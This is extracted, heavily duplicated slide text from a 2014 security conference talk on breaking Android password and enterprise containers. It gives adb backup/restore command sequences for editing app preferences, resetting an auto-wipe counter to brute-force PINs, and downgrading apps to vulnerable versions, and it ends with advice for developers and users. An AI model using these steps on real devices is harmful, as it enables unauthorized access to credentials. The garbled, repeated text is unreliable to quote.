1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 119: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 120: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
